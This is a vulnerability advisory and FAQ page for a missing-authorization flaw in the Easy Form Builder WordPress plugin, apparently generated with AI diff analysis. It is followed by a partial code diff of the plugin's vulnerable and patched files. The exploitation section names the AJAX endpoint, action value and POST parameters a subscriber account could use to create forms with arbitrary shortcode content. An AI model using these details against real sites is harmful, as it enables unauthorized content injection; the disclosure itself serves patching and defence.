What is CVE-2026-22472?

CVE-2026-22472 is a medium severity vulnerability in the Easy Form Builder plugin for WordPress. It arises from a missing authorization check in the `add_form_structure()` method, allowing authenticated users with subscriber-level access to create unauthorized forms.

Who is affected by this vulnerability?

The vulnerability affects all installations of the Easy Form Builder plugin up to and including version 3.9.6. WordPress sites using this plugin should verify their version and check if they are running an affected version.

How can I check if my site is vulnerable?

To check if your site is vulnerable, log in to your WordPress admin panel and navigate to the Plugins section. Look for the Easy Form Builder plugin and check its version. If it is 3.9.6 or earlier, your site is vulnerable.

How can I fix this vulnerability?

To fix this vulnerability, update the Easy Form Builder plugin to version 4.0.0 or later, which includes the necessary capability checks to prevent unauthorized form creation. Regularly updating plugins is essential for maintaining site security.

What is the CVSS score and what does it mean?

The CVSS score for CVE-2026-22472 is 4.3, indicating a medium severity issue. This means that while the vulnerability does not allow for critical exploits like remote code execution, it still poses a significant risk as it allows unauthorized actions by authenticated users.

What are the practical risks of this vulnerability?

The practical risks include the ability for authenticated attackers to create arbitrary forms, which can lead to unauthorized content injection. Attackers could embed malicious scripts or shortcodes, compromising site integrity and user trust.

What does the proof of concept demonstrate?

The proof of concept illustrates how an authenticated user can exploit the vulnerability by sending a crafted POST request to the vulnerable AJAX endpoint. It shows how an attacker can create a new form with arbitrary content, highlighting the ease of exploitation.

What is the root cause of this vulnerability?

The root cause of CVE-2026-22472 is the lack of capability checks in the `add_form_structure()` method of the Easy Form Builder plugin. This method processes AJAX requests without verifying if the user has the necessary permissions, allowing unauthorized actions.

What should I do if I cannot update the plugin immediately?

If you cannot update the plugin immediately, consider disabling the Easy Form Builder plugin to prevent potential exploitation. Additionally, review user roles and permissions to limit access to authenticated users.

How does this vulnerability relate to the principle of least privilege?

This vulnerability violates the principle of least privilege by allowing users with minimal permissions to perform actions they should not be able to. Ensuring proper authorization checks is crucial to maintaining security and limiting user capabilities.

Are there any additional security measures I should take?

In addition to updating the plugin, consider implementing security plugins that monitor user actions and restrict access based on roles. Regularly auditing user permissions and keeping all plugins updated are also recommended practices.

What are the implications for site integrity?

Exploitation of this vulnerability can lead to unauthorized content being injected into forms, which may affect user data and site functionality. Over time, this can damage the reputation of the site and erode user trust.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-22472: Easy Form Builder <= 3.9.6 – Missing Authorization (easy-form-builder)

CVE ID CVE-2026-22472

Plugin easy-form-builder

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 3.9.6

Patched Version 4.0.0

Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22472:
This vulnerability is a missing authorization flaw in the Easy Form Builder WordPress plugin, affecting versions up to and including 3.9.6. The vulnerability allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized actions, specifically creating new forms via the plugin’s AJAX handler. The CVSS score of 4.3 indicates a medium severity issue.

Root Cause:
The vulnerability exists in the `add_form_structure()` method within the `Addon` class, located in `/includes/admin/class-Emsfb-addon.php`. This method processes AJAX requests to create new forms but lacks any capability check to verify if the current user has the required permissions. The function directly accepts POST parameters `name`, `value`, `email`, and `type`, sanitizes them, and inserts them into the database without validating the user’s authorization level. The method is accessible via the WordPress AJAX infrastructure, which routes requests through `/wp-admin/admin-ajax.php`.

Exploitation:
An attacker with a valid WordPress account (subscriber or higher) can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `fun_Emsfb_creator`. The request must include the parameters `name`, `value`, and optionally `email` and `type`. The payload creates a new form entry in the `wp_emsfb_form` database table. The attacker can embed arbitrary shortcode content via the `value` parameter, which will be executed when the form is displayed.

Patch Analysis:
The patch in version 4.0.0 adds a capability check to the `add_form_structure()` method. Before processing the form creation request, the code now verifies that the current user has the `Emsfb_addon` capability. This check prevents users without the appropriate permissions from accessing the form creation functionality. The patch also includes other security improvements and code refactoring, but the critical fix is the addition of the authorization check.

Impact:
Successful exploitation allows authenticated attackers with minimal privileges to create arbitrary forms within the WordPress site. This can lead to unauthorized content injection, as attackers can embed malicious scripts or shortcodes in the form structure. While the vulnerability does not directly enable privilege escalation or remote code execution, it violates the principle of least privilege and can be used as part of a chain attack to compromise site integrity.

Differential between vulnerable and patched code

Code Diff

--- a/easy-form-builder/emsfb.php
+++ b/easy-form-builder/emsfb.php
@@ -1,52 +1,224 @@
-<?php
-/**
- * Plugin Name:         Easy Form Builder
- * Plugin URI:          https://whitestudio.team
- * Description:         Easily create multi-step forms with a unique Confirmation Code feature and notification emails, all without any coding knowledge required, using the easy-to-use drag and drop form wizard of Easy Form Builder. This is the free version and provides an intuitive interface and functionality to create professional forms in minutes. With the unique Confirmation Code feature, you can easily associate each submission with a specific request or user.
- * Version:             3.9.6
- * Author:              WhiteStudio
- * Author URI:          https://whitestudio.team
- * Text Domain:         easy-form-builder
- * License:             GPL v2 or later
- * License URI:         https://www.gnu.org/licenses/gpl-2.0.html
- * Domain Path:         /languages
- */
-
-/** t Prevent this file from being accessed directly */
-if (!defined('ABSPATH')) {
-    die("Direct access of plugin files is not allowed.");
-}
-
-/** Define EMSFB_PLUGIN_FILE */
-if (!defined('EMSFB_PLUGIN_FILE')) {
-    define('EMSFB_PLUGIN_FILE', __FILE__);
-}
-
-/** Constant pointing to the root directory path of the plugin */
-if (!defined("EMSFB_PLUGIN_DIRECTORY")) {
-    define("EMSFB_PLUGIN_DIRECTORY", plugin_dir_path(__FILE__));
-}
-
-if (!defined("EMSFB_PLUGIN_VERSION")) {
-    define("EMSFB_PLUGIN_VERSION", "3.9.6");
-}
-
-/** Constant pointing to the root directory URL of the plugin */
-if (!defined("EMSFB_PLUGIN_URL")) {
-    define("EMSFB_PLUGIN_URL", plugin_dir_url(__FILE__));
-}
-
-
-
-if (!defined("WP_PLUGIN_DIR")) {
-    define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . 'plugins' );
-}
-
-/** Load main class */
-require 'includes/class-Emsfb.php';
-
-/** Main instance of plugin */
-$emsfb = new Emsfb();
-
-
-
+<?php
+/**
+ * Plugin Name:         Easy Form Builder
+ * Plugin URI:          https://whitestudio.team
+ * Description:         Easily create multi-step forms with a unique Confirmation Code feature and notification emails, all without any coding knowledge required, using the easy-to-use drag and drop form wizard of Easy Form Builder. This is the free version and provides an intuitive interface and functionality to create professional forms in minutes. With the unique Confirmation Code feature, you can easily associate each submission with a specific request or user.
+ * Version:             4.0.0
+ * Author:              WhiteStudio
+ * Author URI:          https://whitestudio.team
+ * Text Domain:         easy-form-builder
+ * License:             GPL v2 or later
+ * License URI:         https://www.gnu.org/licenses/gpl-2.0.html
+ * Domain Path:         /languages
+ */
+
+if (!defined('ABSPATH')) {
+    die("Direct access of plugin files is not allowed.");
+}
+
+if (!defined('EMSFB_PLUGIN_FILE')) {
+    define('EMSFB_PLUGIN_FILE', __FILE__);
+}
+
+if (!defined("EMSFB_PLUGIN_DIRECTORY")) {
+    define("EMSFB_PLUGIN_DIRECTORY", plugin_dir_path(__FILE__));
+}
+if (!defined("EMSFB_PLUGIN_VERSION")) {
+    define("EMSFB_PLUGIN_VERSION", "4.0.0");
+}
+if (!defined("EMSFB_DB_VERSION")) {
+    define("EMSFB_DB_VERSION", 1.1);
+}
+
+if (!defined("EMSFB_PLUGIN_URL")) {
+    define("EMSFB_PLUGIN_URL", plugin_dir_url(__FILE__));
+}
+
+if (!defined("WP_PLUGIN_DIR")) {
+    define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' );
+}
+
+if (!defined("EMSFB_DEV_MODE")) {
+
+    $dev_mode = get_option('emsfb_dev_mode', '2');
+    if($dev_mode === '2') {
+        update_option('emsfb_dev_mode', '0');
+        define("EMSFB_DEV_MODE", false);
+    }else{
+        define("EMSFB_DEV_MODE", $dev_mode === '1' || $dev_mode === true ? true : false);
+    }
+}
+
+if (!defined("EMSFB_SERVER_URL")) {
+    if (EMSFB_DEV_MODE) {
+        define("EMSFB_SERVER_URL", "https://demo.whitestudio.team");
+    } else {
+        define("EMSFB_SERVER_URL", "https://whitestudio.team");
+    }
+}
+
+if (!defined("EMSFB_IS_FARSI")) {
+    if (get_locale() == 'fa_IR') {
+        //THIS LINE COMMENTED TO AVOID PROBLEMS WITH CDN IN FARSI LANGUAGE BECUSE OF SHUTDOWN IRAN NETWORK!!
+        //define("CDN_ZONE_AREA", "https://cdn.easyformbuilder.ir/gh/Json-List-of-countries-states-and-cities-in-the-world/");
+        define("CDN_ZONE_AREA", "https://cdn.jsdelivr.net/gh/hassantafreshi/Json-List-of-countries-states-and-cities-in-the-world@main/");
+    } else {
+        define("CDN_ZONE_AREA", "https://cdn.jsdelivr.net/gh/hassantafreshi/Json-List-of-countries-states-and-cities-in-the-world@main/");
+    }
+}
+
+require 'includes/class-Emsfb.php';
+
+$emsfb = new Emsfb();
+
+register_activation_hook(__FILE__, 'emsfb_schedule_file_access_check');
+
+add_action('emsfb_check_file_access_after_activation', 'emsfb_perform_file_access_check_efb');
+
+function emsfb_schedule_file_access_check() {
+    if (!wp_next_scheduled('emsfb_check_file_access_after_activation')) {
+        wp_schedule_single_event(time() + 20, 'emsfb_check_file_access_after_activation');
+    }
+}
+
+function emsfb_perform_file_access_check_efb() {
+    $result = emsfb_check_file_access_efb();
+
+}
+
+function emsfb_check_file_access_efb() {
+    $vendor_path = EMSFB_PLUGIN_DIRECTORY . 'vendor';
+    $temp_path = EMSFB_PLUGIN_DIRECTORY . 'temp';
+
+    $status = true;
+    $error_codes = [];
+    $details = [];
+
+    if (!file_exists($vendor_path)) {
+        $status = false;
+        $error_codes[] = 'VENDOR_NOT_EXIST';
+    } else {
+        $details['vendor_exists'] = true;
+        if (!is_writable($vendor_path)) {
+            $status = false;
+            $error_codes[] = 'VENDOR_NOT_WRITABLE';
+        } else {
+            $details['vendor_writable'] = true;
+        }
+    }
+
+    if (!file_exists($temp_path)) {
+        if (is_writable(dirname($temp_path))) {
+            $create_temp = wp_mkdir_p($temp_path);
+            if (!$create_temp) {
+                $status = false;
+                $error_codes[] = 'TEMP_CREATE_FAILED';
+            } else {
+                $details['temp_created'] = true;
+            }
+        } else {
+            $status = false;
+            $error_codes[] = 'TEMP_PARENT_NOT_WRITABLE';
+        }
+    } else {
+        $details['temp_exists'] = true;
+        if (!is_writable($temp_path)) {
+            $status = false;
+            $error_codes[] = 'TEMP_NOT_WRITABLE';
+        } else {
+            $details['temp_writable'] = true;
+        }
+    }
+
+    if (!is_writable(EMSFB_PLUGIN_DIRECTORY)) {
+        $status = false;
+        $error_codes[] = 'PLUGIN_DIR_NOT_WRITABLE';
+    } else {
+        $details['plugin_writable'] = true;
+    }
+
+    if (!function_exists('WP_Filesystem')) {
+        require_once(ABSPATH . 'wp-admin/includes/file.php');
+    }
+    if (!WP_Filesystem()) {
+        $status = false;
+        $error_codes[] = 'WP_FILESYSTEM_FAILED';
+    } else {
+        $details['wp_filesystem'] = true;
+    }
+
+    $free_bytes = disk_free_space(EMSFB_PLUGIN_DIRECTORY);
+    if (!$free_bytes || $free_bytes < (10 * 1024 * 1024)) {
+        $status = false;
+        $error_codes[] = 'INSUFFICIENT_DISK_SPACE';
+    } else {
+        $details['sufficient_space'] = true;
+        $details['free_space_mb'] = round($free_bytes / (1024 * 1024), 2);
+    }
+
+    if ($status && file_exists($vendor_path)) {
+        $test_file = $vendor_path . '/test_write_efb.txt';
+        $test_content = 'EFB addon test';
+
+        if (@file_put_contents($test_file, $test_content) === false) {
+            $status = false;
+            $error_codes[] = 'WRITE_TEST_FAILED';
+        } else {
+            if (@file_get_contents($test_file) !== $test_content) {
+                $status = false;
+                $error_codes[] = 'READ_TEST_FAILED';
+            } else {
+                $details['write_test'] = true;
+            }
+            @unlink($test_file);
+        }
+    }
+
+    $success_message = esc_html__('Addon directory is ready for file operations', 'easy-form-builder');
+    $error_message = sprintf(
+        esc_html__('Cannot install addons: %s', 'easy-form-builder'),
+        implode(', ', $error_codes)
+    );
+
+    $result = [
+        'status' => $status,
+        'checked_at' => current_time('mysql'),
+        'plugin_version' => EMSFB_PLUGIN_VERSION,
+        'error_codes' => $error_codes,
+        'details' => $details,
+        'success_message' => $success_message,
+        'error_message' => $error_message,
+        'current_message' => $status ? $success_message : $error_message
+    ];
+
+    update_option('emsfb_file_access_status', $result);
+
+    return $result;
+}
+
+function emsfb_get_file_access_status_efb() {
+    $state= get_option('emsfb_file_access_status', null);
+    if (!$state) {
+        $state = emsfb_check_file_access_efb();
+    }
+    return $state;
+}
+
+function emsfb_is_addon_install_ready_efb() {
+    $status = emsfb_get_file_access_status_efb();
+    return $status && $status['status'] === true;
+}
+
+if (!function_exists('get_setting_Emsfb')) {
+
+    function get_setting_Emsfb($mode = 'decoded') {
+        return Emsfb::get_setting_Emsfb($mode);
+    }
+
+    if (!function_exists('get_efbFunction')) {
+
+            function get_efbFunction() {
+                return Emsfb::get_efbFunction();
+            }
+    }
+}
--- a/easy-form-builder/includes/admin/class-Emsfb-addon.php
+++ b/easy-form-builder/includes/admin/class-Emsfb-addon.php
@@ -1,333 +1,222 @@
-<?php
-
-namespace Emsfb;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-class Addon {
-
-	public $setting_name;
-	public $options = array();
-
-	public $id_;
-	public $name;
-	public $email;
-	public $value;
-	public $userId;
-	public $formtype;
-
-	protected $db;
-	public function __construct() {
-
-		$this->setting_name = 'Emsfb_addon';
-		global $wpdb;
-		$this->db = $wpdb;
-		$this->get_settings();
-
-		$this->options = get_option( $this->setting_name );
-
-
-		if ( empty( $this->options ) ) {
-			update_option( $this->setting_name, array() );
-		}
-
-		add_action( 'admin_menu', array( $this, 'add_addon_menu' ), 11 );
-
-
-	}
-
-	public function add_addon_menu() {
-		add_submenu_page( 'Emsfb', esc_html__('Add-ons', 'easy-form-builder' ),'<span style="color:#ff4b93">'. esc_html__('Add-ons', 'easy-form-builder' ) .'</span>', 'Emsfb_addon', 'Emsfb_addon', array(
-			$this,
-			'render_settings'
-		) );
-
-	}
-
-
-	public function get_settings() {
-		$settings = get_option( $this->setting_name );
-		if ( ! $settings ) {
-			update_option( $this->setting_name, array(
-				'rest_api_status' => 1,
-			) );
-		}
-		return apply_filters( 'Emsfb_get_settings', $settings );
-	}
-
-	public function register_create() {
-
-		if ( false == get_option( $this->setting_name ) ) {
-			add_option( $this->setting_name );
-		}
-	}
-
-
-
-
-	public function render_settings() {
-		$server_name = isset($_SERVER['HTTP_HOST']) ? str_replace("www.", "", sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) ) : '';
-
-		wp_register_script('whiteStudioAddone', 'https://whitestudio.team/wp-json/wl/v1/addons.js' .$server_name, array(), '1.0', true);
-        wp_enqueue_script('whiteStudioAddone');
-	?>
-
-	<!-- new code ddd -->
-	<div id="alert_efb" class="efb mx-5"></div>
-	<div class="efb modal fade " id="settingModalEfb" aria-hidden="true" aria-labelledby="settingModalEfb"  role="dialog" tabindex="-1" data-backdrop="static" >
-						<div class="efb modal-dialog modal-dialog-centered " id="settingModalEfb_" >
-							<div class="efb modal-content efb " id="settingModalEfb-sections">
-									<div class="efb modal-header efb">
-										<h5 class="efb modal-title efb" ><i class="efb bi-ui-checks mx-2" id="settingModalEfb-icon"></i><span id="settingModalEfb-title"></span></h5>
-										<a class="mt-3 mx-3 efb  text-danger position-absolute top-0 <?php echo is_rtl() ? 'start-0' : 'end-0' ?>" id="settingModalEfb-close" onclick="state_modal_show_efb(0)" role="button" role="button"><i class="efb bi-x-lg"></i></a>
-									</div>
-								<div class="efb modal-body row" id="settingModalEfb-body">
-									<?php
-									//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- do_action is safe
-									 do_action('efb_loading_card');
-									?>
-								</div>
-	</div></div></div>
-	<div id="tab_container_efb">
-			<div class="efb card-body text-center efb">
-				<?php
-				//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- do_action is safe
-				 do_action('efb_loading_card');
-				?>
-			</div>
-    </div>
-
-	<!-- end new code dd -->
-
-
-		<?php
-
-
-		$pro =false;
-		$maps =false;
-		$efbFunction = $this->get_efbFunction();
-		$ac= $efbFunction->get_setting_Emsfb();
-
-		if(gettype($ac)!="string"){
-			if (md5($server_name)==$ac->activeCode){
-				$pro=true;
-			}
-		}
-
-		if(isset($ac->efb_version)==false || version_compare(EMSFB_PLUGIN_VERSION,$ac->efb_version)!=0){
-			$efbFunction->setting_version_efb_update($ac ,$pro);
-		}
-
-
-		$lang = $efbFunction->text_efb(2);
-
-
-
-
-
-
-			wp_register_script('jquery-ui-efb', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/jquery-ui-efb.js', array('jquery'),EMSFB_PLUGIN_VERSION, true);
-			wp_enqueue_script('jquery-ui-efb');
-			wp_register_script('jquery-dd-efb', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/jquery-dd-efb.js', array('jquery'),EMSFB_PLUGIN_VERSION , true);
-			wp_enqueue_script('jquery-dd-efb');
-
-
-		$img = ["logo" => ''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/logo-easy-form-builder.svg',
-		"head"=> ''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/header.png',
-		"title"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/title.svg',
-		"recaptcha"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/reCaptcha.png',
-		"movebtn"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/move-button.gif',
-		'logoGif'=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/efb-256.gif',
-
-		];
-
-		$smtp =-1;
-		$captcha =false;
-		$smtp_m = "";
-			/*
-            AdnSPF == stripe payment
-            AdnOF == offline form
-            AdnPPF == persia payment
-			AdnPDP == persia data picker
-			AdnADP == arabic data picker
-            AdnATC == advance tracking code
-            AdnSS == sms service
-            AdnCPF == crypto payment
-            AdnESZ == zone picker
-            AdnSE == email service
-
-            AdnWHS == webhook
-            AdnPAP == paypal
-            AdnWSP == whitestudio pay
-            AdnSMF == smart form
-            AdnPLF == passwordless form
-            AdnMSF == membership form
-            AdnBEF == booking and event form
-
-			AdnWPB == WP Bakery
-			AdnELM == Elemntor
-			AdnGTB == Gutnberg
-
-			AdnPFA == Private Form Advanced
-
-        */
-		$addons = ['AdnSPF' => 0,
-		'AdnOF' => 0,
-		'AdnPPF' => 0,
-		'AdnATC' => 0,
-		'AdnSS' => 0,
-		'AdnCPF' => 0,
-		'AdnESZ' => 0,
-		'AdnSE' => 0,
-		'AdnPDP'=>0,
-		'AdnADP'=>0
-		];
-
-
-		if(gettype($ac)!="string"){
-			if( isset($ac->siteKey)&& strlen($ac->siteKey)>5){$captcha="true";}
-			if(isset($ac->smtp) && $ac->smtp=="true" ){$smtp=1;}else if ($ac->smtp=="false"){$smtp=0;$smtp_m =$lang["sMTPNotWork"];}
-			if(isset($ac->AdnSPF)==true){
-
-				$addons["AdnSPF"]=$ac->AdnSPF;
-				$addons["AdnOF"]=$ac->AdnOF;
-				$addons["AdnATC"]=$ac->AdnATC;
-				$addons["AdnPPF"]=$ac->AdnPPF;
-				$addons["AdnSS"]=$ac->AdnSS;
-				$addons["AdnSPF"]=$ac->AdnSPF;
-				$addons["AdnESZ"]=$ac->AdnESZ;
-				$addons["AdnSE"]=$ac->AdnSE;
-				$addons["AdnPDP"]=isset($ac->AdnPDP) ? $ac->AdnPDP : 0;
-				$addons["AdnADP"]=isset($ac->AdnADP) ? $ac->AdnADP : 0;
-
-			}
-		}else{$smtp_m =$lang["goToEFBAddEmailM"];}
-
-
-		wp_enqueue_script( 'Emsfb-admin-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/admin-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-		wp_localize_script('Emsfb-admin-js','efb_var',array(
-			'nonce'=> wp_create_nonce("wp_rest"),
-			'check' => 2,
-			'pro' => $pro,
-			'rtl' => is_rtl() ,
-			'text' => $lang	,
-			'images' => $img,
-			'captcha'=>$captcha,
-			'smtp'=>$smtp,
-			"smtp_message"=>$smtp,
-			'maps'=> $maps,
-			'bootstrap' =>$this->check_temp_is_bootstrap(),
-			"language"=> get_locale(),
-			"addson"=>$addons,
-			'wp_lan'=>get_locale(),
-			'v_efb'=>EMSFB_PLUGIN_VERSION,
-			'setting'=>$ac,
-
-		));
-
-		wp_enqueue_script('efb-val-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/val-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-
-
-		 wp_enqueue_script( 'Emsfb-core-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/core-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-		 wp_localize_script('Emsfb-core-js','ajax_object_efm_core',array(
-			'nonce'=> wp_create_nonce("wp_rest"),
-			'check' => 1		));
-
-		wp_enqueue_script('efb-main-js', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/new-efb.js', false, EMSFB_PLUGIN_VERSION, true);
-
-
-
-
-
-
-
-
-
-	}
-
-	public function fun_Emsfb_creator()
-	{
-
-	}
-
-	public function add_form_structure(){
-
-
-
-		$efbFunction = $this->get_efbFunction();
-		$creat=["errorCheckInputs","NAllowedscriptTag","formNcreated"];
-		$lang = $efbFunction->text_efb($creat);
-		$this->userId =get_current_user_id();
-
-
-		$email = '';
-
-		if( empty($_POST['name']) || empty($_POST['value']) ){
-			$m =$lang["errorCheckInputs"];
-			$response = array( 'success' => false , "m"=>$m);
-			wp_send_json_success($response,200);
-			die();
-		}
-
-		if(isset($_POST['email']) ){$email =sanitize_email( wp_unslash($_POST['email']));}
-		$this->id_ ="hid";
-		$this->name = isset($_POST['name']) ? sanitize_text_field( wp_unslash($_POST['name'])) : '';
-		$this->email =  $email;
-		$this->value = isset($_POST['value']) ? sanitize_text_field( wp_unslash( $_POST['value'] ) ) : '';
-
-		$this->formtype = isset($_POST['type']) ? sanitize_text_field( wp_unslash($_POST['type'])) : '';
-		if($this->isScript($this->value) ||$this->isScript($this->formtype)){
-			$response = array( 'success' => false , "m"=> $lang["NAllowedscriptTag"]);
-			wp_send_json_success($response,200);
-			die();
-		}
-
-
-		$this->insert_db();
-		if($this->id_ !=0){
-			$response = array( 'success' => true ,'r'=>"insert" , 'value' => "[EMS_Form_Builder id=$this->id_]" , "id"=>$this->id_);
-		}else{$response = array( 'success' => false , "m"=> $lang["formNcreated"]);}
-		wp_send_json_success($response,200);
-		die();
-	}
-
-	public function isScript( $str ) { return preg_match( "/<script.*type="(?!text/x-template).*>(.*)</script>/im", $str ) != 0; }
-	public function insert_db(){
-		$table_name = $this->db->prefix . "emsfb_form";
-		$r =$this->db->insert($table_name, array(
-			'form_name' => $this->name,
-			'form_structer' => $this->value,
-			'form_email' => $this->email,
-			'form_created_by' => $this->userId,
-			'form_type'=>$this->formtype,
-		));    $this->id_  = $this->db->insert_id;
-
-	}
-	public function check_temp_is_bootstrap (){
-        $it = list_files(get_template_directory());
-        $s = false;
-        foreach($it as $path) {
-            if (preg_match("/bbootstrap+.+.css+/i", $path))
-            {
-                $f = file_get_contents($path);
-                if(preg_match("/col-md-12/i", $f)){
-                    $s= true;
-                    break;
-                }
-            }
-        }
-        return  $s;
-    }
-
-	public function get_efbFunction(){
-			if(!class_exists('EmsfbefbFunction')){
-				require_once(EMSFB_PLUGIN_DIRECTORY . 'includes/functions.php');
-			}
-			return new EmsfbefbFunction();
-	}
-
-}
-
-new Addon();
 No newline at end of file
+<?php
+namespace Emsfb;
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+class Addon {
+	public $setting_name;
+	public $options = array();
+	public $id_;
+	public $name;
+	public $email;
+	public $value;
+	public $userId;
+	public $formtype;
+	protected $db;
+	public function __construct() {
+		$this->setting_name = 'Emsfb_addon';
+		global $wpdb;
+		$this->db = $wpdb;
+		$this->get_settings();
+		$this->options = get_option( $this->setting_name );
+		if ( empty( $this->options ) ) {
+			update_option( $this->setting_name, array() );
+		}
+		add_action( 'admin_menu', array( $this, 'add_addon_menu' ), 11 );
+	}
+	public function add_addon_menu() {
+		add_submenu_page( 'Emsfb', esc_html__('Add-ons', 'easy-form-builder' ),'<span style="color:#ff4b93">'. esc_html__('Add-ons', 'easy-form-builder' ) .'</span>', 'Emsfb_addon', 'Emsfb_addon', array(
+			$this,
+			'render_settings'
+		) );
+	}
+	public function get_settings() {
+		$settings = get_option( $this->setting_name );
+		if ( ! $settings ) {
+			update_option( $this->setting_name, array(
+				'rest_api_status' => 1,
+			) );
+		}
+		return apply_filters( 'Emsfb_get_settings', $settings );
+	}
+	public function register_create() {
+		if ( false == get_option( $this->setting_name ) ) {
+			add_option( $this->setting_name );
+		}
+	}
+	public function render_settings() {
+		$server_name = str_replace("www.", "", isset($_SERVER['HTTP_HOST']) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) : '');
+		$dev_mode = get_option('emsfb_dev_mode', '0') === '1';
+		$domain =  $dev_mode ? 'demo.whitestudio.team' : 'whitestudio.team';
+		wp_register_script('whiteStudioAddone', 'https://' . $domain . '/wp-json/wl/v1/addons.js' .$server_name, null, null, true);
+
+        wp_enqueue_script('whiteStudioAddone');
+
+		$efbFunction = get_efbFunction();
+		$noti_pro = intval(get_option('emsfb_pro' ,-1));
+		$addon_status = null;
+		if ($noti_pro === 0  ){
+			$noti_pro ="<script>const noti_exp_efb='".$efbFunction->noti_expire_efb()."';</script>";
+
+		}else{
+			$noti_pro = '<script>const noti_exp_efb="";</script>';
+			$addon_status = emsfb_get_file_access_status_efb();
+		}
+
+	?>
+	<!-- new code ddd -->
+	<?php echo   $noti_pro ?>
+
+	<!-- Addon Directory Status Check - Only for Pro version -->
+	<?php if ($noti_pro !== 0 && $addon_status): ?>
+		<?php if (!$addon_status['status']): ?>
+			<div class="notice notice-error efb" style="margin: 20px 0;">
+				<p><strong><?php echo esc_html__('Addon Installation Issue', 'easy-form-builder'); ?>:</strong></p>
+				<p><?php echo esc_html($addon_status['current_message']); ?></p>
+				<?php if (!empty($addon_status['error_codes'])): ?>
+					<details style="margin-top: 10px;">
+						<summary><?php echo esc_html__('Technical Details', 'easy-form-builder'); ?></summary>
+						<ul style="margin: 10px 0;">
+							<?php foreach ($addon_status['error_codes'] as $error_code): ?>
+								<li><code><?php echo esc_html($error_code); ?></code></li>
+							<?php endforeach; ?>
+						</ul>
+					</details>
+				<?php endif; ?>
+				<p><em><?php echo sprintf(esc_html__('Checked %s ago', 'easy-form-builder'), human_time_diff(strtotime($addon_status['checked_at']), current_time('timestamp'))); ?></em></p>
+			</div>
+		<?php else: ?>
+			<div class="notice notice-success efb" style="margin: 20px 0;">
+				<p><strong><?php echo esc_html__('System Ready', 'easy-form-builder'); ?>:</strong> <?php echo esc_html($addon_status['current_message']); ?></p>
+				<p><em><?php echo sprintf(esc_html__('Checked %s ago', 'easy-form-builder'), human_time_diff(strtotime($addon_status['checked_at']), current_time('timestamp'))); ?></em></p>
+			</div>
+		<?php endif; ?>
+	<?php elseif ($noti_pro !== 0 && !$addon_status): ?>
+		<div class="notice notice-info efb" style="margin: 20px 0;">
+			<p><?php echo esc_html__('Checking addon installation capabilities...', 'easy-form-builder'); ?></p>
+			<p><em><?php echo esc_html__('This check runs once after plugin activation. Please refresh the page in a few moments.', 'easy-form-builder'); ?></em></p>
+		</div>
+	<?php endif; ?>
+	<!-- End Addon Directory Status Check -->
+
+	<div id="alert_efb" class="efb mx-5"></div>
+
+	<div class="efb modal fade " id="settingModalEfb" aria-hidden="true" aria-labelledby="settingModalEfb"  role="dialog" tabindex="-1" data-backdrop="static" >
+						<div class="efb modal-dialog modal-dialog-centered " id="settingModalEfb_" >
+							<div class="efb modal-content efb " id="settingModalEfb-sections">
+									<div class="efb modal-header efb">
+										<h5 class="efb modal-title efb" ><i class="efb bi-ui-checks mx-2" id="settingModalEfb-icon"></i><span id="settingModalEfb-title"></span></h5>
+										<a class="mt-3 mx-3 efb  text-danger position-absolute top-0 <?php echo is_rtl() ? 'start-0' : 'end-0' ?>" id="settingModalEfb-close" onclick="state_modal_show_efb(0)" role="button" role="button"><i class="efb bi-x-lg"></i></a>
+									</div>
+									<div class="efb modal-body row" id="settingModalEfb-body">
+										<?php do_action('efb_loading_card'); ?>
+									</div>
+	</div></div></div>
+	<div id="tab_container_efb">
+			<div class="efb card-body text-center efb">
+				<?php do_action('efb_loading_card'); ?>
+			</div>
+    </div>
+	<!-- end new code dd -->
+		<?php
+		$pro = intval(get_option('emsfb_pro')) ;
+		$pro = $pro == 1 ? true : false;
+		$maps =false;
+
+		$ac= get_setting_Emsfb('decoded');
+
+		if(is_object($ac) && (!isset($ac->efb_version) || version_compare(EMSFB_PLUGIN_VERSION,$ac->efb_version)!=0)){
+			$efbFunction->setting_version_efb_update($ac ,$pro);
+		}
+		$lang = $efbFunction->text_efb(2);
+			wp_register_script('jquery-ui-efb', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/jquery-ui-efb.js', array('jquery'),EMSFB_PLUGIN_VERSION, true);
+			wp_enqueue_script('jquery-ui-efb');
+			wp_register_script('jquery-dd-efb', EMSFB_PLUGIN_URL . 'includes/admin/assets/js/jquery-dd-efb.js', array('jquery'),EMSFB_PLUGIN_VERSION , true);
+			wp_enqueue_script('jquery-dd-efb');
+		$img = ["logo" => ''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/logo-easy-form-builder.svg',
+		"head"=> ''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/header.png',
+		"title"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/title.svg',
+		"recaptcha"=>''.EMSFB_PLUGIN_URL . 'includes/admin/assets/image/reCaptcha.png',
